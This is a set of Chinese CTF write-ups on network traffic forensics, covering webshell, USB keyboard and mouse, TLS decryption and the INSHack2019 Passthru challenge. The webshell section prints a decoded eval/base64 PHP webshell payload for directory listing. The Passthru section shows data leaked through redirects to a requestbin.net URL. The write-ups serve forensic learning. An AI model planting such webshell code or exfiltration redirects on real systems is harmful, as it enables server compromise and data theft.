http流量分析
使用Wiershark打开题目所给的pcapng文件,发现shell.php
右键点击追踪流-"http stream"
找到flag: flag{This_is_a_f10g}
webshell流量分析
使用wireshark打开题目,发现数据庞大
搜索"http",发现上传点被上传了马
追踪http流,通过搜索搜到上传点下有flag.txt
再继续查看,发现攻击者执行了很多命令,将变量action解码,其中有无效字符,先进行url解码,把%2B解为+,再进行base64解码
这是base64,上面的是baseX
经过url解码后的结果:
依旧无效字符
但用baseX:
发现无效字符在末尾,原来是没有细看之前的代码,忘了还要传z1这个变量,重新解码后整理的结果
aa=@eval.(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR://Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();&z1=D:\wamp64\www\upload
分析:
//关闭错误显示,避免在攻击过程中暴露错误信息
@ini_set("display_errors","0");
//解除脚本执行时间限制,允许长时间运行(如遍历大量文件)
@set_time_limit(0);
//关闭魔术引号(PHP安全特性,已废弃),确保输入数据不被转义
@set_magic_quotes_runtime(0);
//输出开始分隔符,用于客户端识别返回数据的开始
echo("->|");
//获取POST参数'z1'的值(Base64编码的目录路径),并解码得到真实路径
$D = base64_decode($_POST["z1"]);
//尝试打开指定目录句柄
$F = @opendir($D);
//如果目录打开失败(路径不存在或无权限),输出错误信息
if($F == NULL) {
echo("ERROR://Path Not Found Or No Permission!");
} else {
//初始化变量:$M用于存储子目录列表,$L用于存储文件列表
$M = NULL;
$L = NULL;
//循环读取目录中的每一个条目(文件或子目录)
while($N = @readdir($F)) {
//构建完整路径
$P = $D . "/" . $N;
//获取文件修改时间并格式化为"年-月-日 时:分:秒"
$T = @date("Y-m-d H:i:s", @filemtime($P));
//获取文件权限(八进制),取最后4位(如0755)
@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
//构建条目信息:制表符分隔的[时间][大小][权限],末尾换行
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
//判断是否为目录:是则添加到$M(目录列表),否则添加到$L(文件列表)
if(@is_dir($P))
$M .= $N . "/" . $R; //目录名后加"/"
else
$L .= $N . $R; //文件名直接拼接
}
//输出所有目录和文件列表(先目录后文件)
echo $M . $L;
//关闭目录句柄
@closedir($F);
}
//输出结束分隔符,表示数据传输完毕
echo("|<-");
//终止脚本执行
die();
//传入参数z1读取D:\wamp64\www\upload目录下的文件
z1=D:\wamp64\www\upload
发现后面的都是查看目录,再找一个数据包追踪"http stream"
攻击者主要是使用/upload/1.php通过POST方法执行命令的,观察攻击者的行为
http.request.method == "POST" and http.request.uri contains "/upload/1.php"
发现大多请求的长度在770左右,5033的数据包尤为突兀
发现此数据包多了z2参数,分析其http流
数据太长了直接拉到最下面,发现upload目录多了6666.jpg,看来是上传了图片,z2就是用于传入图片的,而通过观察判断z2参数为十六进制
另存为一个txt文件,将非16进制字符删除,ctrl+A全选复制,到在线网站在线十六进制转图片—LZL在线工具进行转图
图片上印着好像是密码,分析一下图片
图片是正常的,继续查看后续的数据包,发现有两个长度仅有425左右
继续追踪,通过回显排除没太大用处的信息,一直翻到最下面
发现了一个压缩包数据,点击此回显区域的任意位置,定位到原数据包
右键此数据包复制为base64或者hex,拿到刚才用到的在线转图片网站进行转图后下载图片
再拿给foremost文件提取工具进行提取zip(也可以直接保存为hex到kali的binwalk提取)
解压得到一个压缩包
解压提示需要密码,输入之前得到的图片上的密码:Th1s_1s_p4sswd_!!!
拿到flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}
应该一开始就使用过滤命令http.request.method == "POST" and http.request.uri contains "/upload/1.php"并通过时间线进行分析的,也不至于我大费周章去解码base64了
[NISACTF 2022]破损的flag
题目给了一个不知类型的文件,用010打开获取文件头"D4 C3 B2 A1"并在网上搜索,得出这是一个pcap文件,使用wireshark打开,发现全是USB协议的
查看到Leftover Capture Data(剩余捕获数据)部分的大都在第三字节发生变化,且有8字节
Leftover Capture Data: 00 00 10 00 00 00 00 00
Leftover Capture Data: 00 00 0e 00 00 00 00 00
Leftover Capture Data: 00 00 0b 00 00 00 00 00
...
猜测为USB键盘输入流量,导出为纯文本并提取剩余捕获数据部分
脚本
写一个脚本提取数据
import re
with open('5.txt', 'r') as f:
lines = f.readlines()
usb_data = []
for line in lines:
match = re.search(r'Leftover Capture Data: ([0-9a-fA-F]{16})', line)
if match:
hex_data = match.group(1)
if hex_data[4:6] != '00':
usb_data.append(hex_data)
with open('usb.txt', 'w') as f:
for data in usb_data:
f.write(data + '\n')
print("done")
将提取到的数据一一对照,得到键盘输入
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# USB HID键盘扫描码映射表
NORMAL_KEYS = {
0x04: "a", 0x05: "b", 0x06: "c", 0x07: "d", 0x08: "e", 0x09: "f",
0x0a: "g", 0x0b: "h", 0x0c: "i", 0x0d: "j", 0x0e: "k", 0x0f: "l",
0x10: "m", 0x11: "n", 0x12: "o", 0x13: "p", 0x14: "q", 0x15: "r",
0x16: "s", 0x17: "t", 0x18: "u", 0x19: "v", 0x1a: "w", 0x1b: "x",
0x1c: "y", 0x1d: "z", 0x1e: "1", 0x1f: "2", 0x20: "3", 0x21: "4",
0x22: "5", 0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0",
0x28: "<RET>", 0x29: "<ESC>", 0x2a: "<DEL>", 0x2b: "\t", 0x2c: "<SPACE>",
0x2d: "-", 0x2e: "=", 0x2f: "[", 0x30: "]", 0x31: "\\", 0x32: "<NON>",
0x33: ";", 0x34: "'", 0x35: "<GA>", 0x36: ",", 0x37: ".", 0x38: "/",
0x39: "<CAP>", 0x3a: "<F1>", 0x3b: "<F2>", 0x3c: "<F3>", 0x3d: "<F4>",
0x3e: "<F5>", 0x3f: "<F6>", 0x40: "<F7>", 0x41: "<F8>", 0x42: "<F9>",
0x43: "<F10>", 0x44: "<F11>", 0x45: "<F12>"
}
SHIFT_KEYS = {
0x04: "A", 0x05: "B", 0x06: "C", 0x07: "D", 0x08: "E", 0x09: "F",
0x0a: "G", 0x0b: "H", 0x0c: "I", 0x0d: "J", 0x0e: "K", 0x0f: "L",
0x10: "M", 0x11: "N", 0x12: "O", 0x13: "P", 0x14: "Q", 0x15: "R",
0x16: "S", 0x17: "T", 0x18: "U", 0x19: "V", 0x1a: "W", 0x1b: "X",
0x1c: "Y", 0x1d: "Z", 0x1e: "!", 0x1f: "@", 0x20: "#", 0x21: "$",
0x22: "%", 0x23: "^", 0x24: "&", 0x25: "*", 0x26: "(", 0x27: ")",
0x28: "<RET>", 0x29: "<ESC>", 0x2a: "<DEL>", 0x2b: "\t", 0x2c: "<SPACE>",
0x2d: "_", 0x2e: "+", 0x2f: "{", 0x30: "}", 0x31: "|", 0x32: "<NON>",
0x33: '"', 0x34: ":", 0x35: "<GA>", 0x36: "<", 0x37: ">", 0x38: "?",
0x39: "<CAP>", 0x3a: "<F1>", 0x3b: "<F2>", 0x3c: "<F3>", 0x3d: "<F4>",
0x3e: "<F5>", 0x3f: "<F6>", 0x40: "<F7>", 0x41: "<F8>", 0x42: "<F9>",
0x43: "<F10>", 0x44: "<F11>", 0x45: "<F12>"
}
def parse_line(line):
"""解析USB数据行"""
line = line.strip()
if len(line) == 16:
is_shift = line[1] == '2'
scan_code = int(line[4:6], 16)
if scan_code != 0:
if is_shift:
return SHIFT_KEYS.get(scan_code)
else:
return NORMAL_KEYS.get(scan_code)
elif len(line) == 24:
is_shift = line[1] == '2'
scan_code = int(line[6:8], 16)
if scan_code != 0:
if is_shift:
return SHIFT_KEYS.get(scan_code)
else:
return NORMAL_KEYS.get(scan_code)
return None
def process_output(output):
"""处理大写锁定和删除键"""
result = []
caps_lock = False
for char in output:
if char == "<DEL>":
if result:
result.pop()
elif char == "<CAP>":
caps_lock = not caps_lock
else:
if caps_lock and char.isalpha():
result.append(char.upper())
else:
result.append(char)
return result
if __name__ == "__main__":
raw_output = []
try:
with open('data.txt', 'r') as f:
for line in f:
char = parse_line(line)
if char:
raw_output.append(char)
final_output = process_output(raw_output)
print("原始输出:", ''.join(raw_output))
print("最终输出:", ''.join(final_output))
except FileNotFoundError:
print("错误:找不到文件")
原始输出: ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji
最终输出: ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji
在线网站
ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji
工具
下载:git clone https://gitclone.com/github.com/WangYihang/UsbKeyboardDataHacker.git
安装:
python环境,先安装pyenv(这里就不赘述)
安装python3.12或者3.10,3.13不适合
export PYTHON_BUILD_MIRROR_URL="https://registry.npmmirror.com/-/binary/python"
export PYTHON_BUILD_MIRROR_URL_SKIP_CHECKSUM=1
pyenv install 3.12.12
cd UsbKeyboardDataHacker
pyenv local 3.12.12
python -m pip install poetry -i https://pypi.tuna.tsinghua.edu.cn/simple
修改项目镜像源:
nano pyproject.toml
添加:
[[tool.poetry.source]]
name = "tsinghua"
url = "https://pypi.tuna.tsinghua.edu.cn/simple/"
poetry lock
poetry install
忽略报错,直接使用
poetry run python UsbKeyboardDataHacker.py --input atta.pcap
结果
发现结果在键盘上敲出来时,总有字母被围住,被围的就是对应的明文
| 键盘字符 | 映射结果 | 键盘字符 | 映射结果 |
|---|---|---|---|
| ujko | i | njk, | m |
| tfvbh | g | yhji | u |
| pok | l | rdcvg | f |
| rdcvg | f | pok | l |
| qwsz | a | tfvbh | g |
| ujko | i | wazxd | s |
| qase | w | wsdr | e |
| pok | l | xdfv | c |
| iklp | o | njk | m |
| wsdr | e | rfgy | t |
| rdcvg | f | uhnmk | j |
| bhjm | n | yhji | u |
连起来就是imgulfflagiswelcometfjnu
根据单词意思拆分,fjnu是主办方福建师范大学缩写,名字又叫残缺的flag,所以得到的是残缺的flag,需要补全,故结果为"im gulf flag is welcome to fjnu",即flag:welcome_to_fjnu
借鉴:
[NISACTF 2022]损坏的flag - snowhy的博客
键盘流量
通过翻找发现了键盘流量
直接拿到前面的工具网站,识别结果为空
应该是冗余数据过多,进行简单的过滤,仅获取从设备发送到主机的数据
usb.dst == "host"
再点击"文件"-"导出特定分组",将保存的数据再次放到工具网站
或者直接使用前面的工具UsbKeyboardDataHacker:
poetry run python UsbKeyboardDataHacker.py --input USBkey.pcap
也可以使用之前的脚本
得到flag:flag{helloworld!}
鼠标流量分析
同样的,前面用到的在线工具网站同样可以进行鼠标流量分析
依旧是要获取设备发送到主机的数据
usb.dst == "host"
保存后放到网站进行分析即可
不难看出,画的是"Hello",flag:flag{Hello}
TLS流量分析
wireshark打开,从最开始的时间线初步分析
"空气舵"开始登录http网站,会话经历TCP握手后出现许多TLS流量,表明被重要信息在http里,只不过被tls封装了
所以需要找到密钥,将封装的http解出,一般是通过HTTP明文传输泄露的,现在先过滤获得http协议的数据包
其中数据长度有个4241的,追踪看看
看来这就是密钥了,另存为"sslkey.log"
点击"编辑"-"首选项"-展开"Protocols"-找到"TLS"
应用即可
再次过滤出http数据包,发现被封装的http数据包被解出了
追踪多出来的http数据包,选包含"/User_API/"的数据包再合适不过了
找到了flag:flag{e3364403651e775bfb9b3ffa06b69994}
借鉴:
BUUCTF [第九章][9.3.3 TLS流量分析] Writeup_[第九章][9.3.3 tls流量分析]tls流量分析-CSDN博客(如果观看体验不佳,可以使用篡*猴或*本猫)
[INSHack2019]Passthru
拿到题目,解压最大的压缩包,发现capture.pcap和sslkey.log
很明显,是TLS流量分析,跟前面的操作一样,将sslkey.log作为密钥
进去发现没有头绪,看了介绍:
"You're part of a company security team and the admin has recently enabled interception on the company filtering proxy.
The admin is pretty confident when it comes to its domain whitelist.
He gave you a capture to review. Time to prove him wrong."
大致意思是:你是公司安全团队的一员,管理员最近启用了公司过滤代理的拦截功能。他对自己的域名白名单相当自信,并给了你一份抓包记录让你检查。是时候证明他错了。
也就是说只能访问白名单中的域名
先过滤一下看看有没有访问成功的特殊域名
http.response.code == 200
导出分组解析结果-为纯文本,再使用脚本提取域名并去重得到:
1: docs.python.org
2: en.cppreference.com
3: en.wikipedia.org
4: forensicswiki.org
5: images.google.com
6: www.bbc.com
7: www.google.com
好像没什么问题,看来这就是白名单了,这次就要寻找非白名单的url,很有可能是通过白名单域名重定向的
http.response.code == 302
果然有重定向的,管理员要失望了
随便找一个重定向数据包追踪一下http流
可以发现通过了image_url参数重定向到了一个路径,看看参数值:
http%3A%2F%2Frequestbin.net%2Fr%2Fzk2s2ezk%3Fid%3D8bd542b5-2056-489e-bc1c-4f028ef27894%26kcahsni%3D26cd07e1f71df3dcee9f
即:http://requestbin.net/r/zk2s2ezk?id=8bd542b5-2056-489e-bc1c-4f028ef27894&kcahsni=26cd07e1f71df3dcee9f
这个requestbin.net是一个专门用于接收、检查和调试HTTP请求的云平台,创建一个“Bin”时,它会提供一个唯一的 URL,任何发送到该URL的请求都会被其捕获、存储并显示详情,比如我访问该网站所给URL的时候,加了参数a=bcd:
所以参数都是特意构造的,发现除了id这个参数外,还发现了另一个参数kcahsni,反过来就是inshack,就是这个赛名,分析其值26cd07e1f71df3dcee9f,盲猜hex,解出一堆乱码,这参数都特意构造了,就是从这参数入手的,前面不是有很多重定向的吗,可能每个请求的值都不一样,组合起来再解开看看
先过滤
http.request.uri contains "kcahsni" && http.request.method == GET
导出分组解析结果并提取参数值即可
import re, binascii
#提取
with open('HACK.txt', 'r', encoding='utf-8') as f:
matches = re.findall(r'kcahsni%3D([^&\s]+)', f.read())
#合并
merged = ''.join(dict.fromkeys(matches))
#解码
decoded = binascii.unhexlify(merged if len(merged)%2==0 else '0'+merged).decode('latin-1')
#逆序
print(decoded[::-1])
解出来结果为:
÷sþõeT£´&Íá÷óÜî¯rZ¹9hüRð<
}e59ad3f38a01dca00f9759e6d205317642c5421fcdad034ebe7077c2bddd472b{ASNI
2ÃÐl$ò¨ÇèfgÛ÷þÎ(EjÒJÂÆ¡.>þK
所以多了逆序步骤,最终运行结果
故flag为:INSA{b274dddb2c7707ebe430dadcf1245c246713502d6e9579f00acd10a83f3da95e}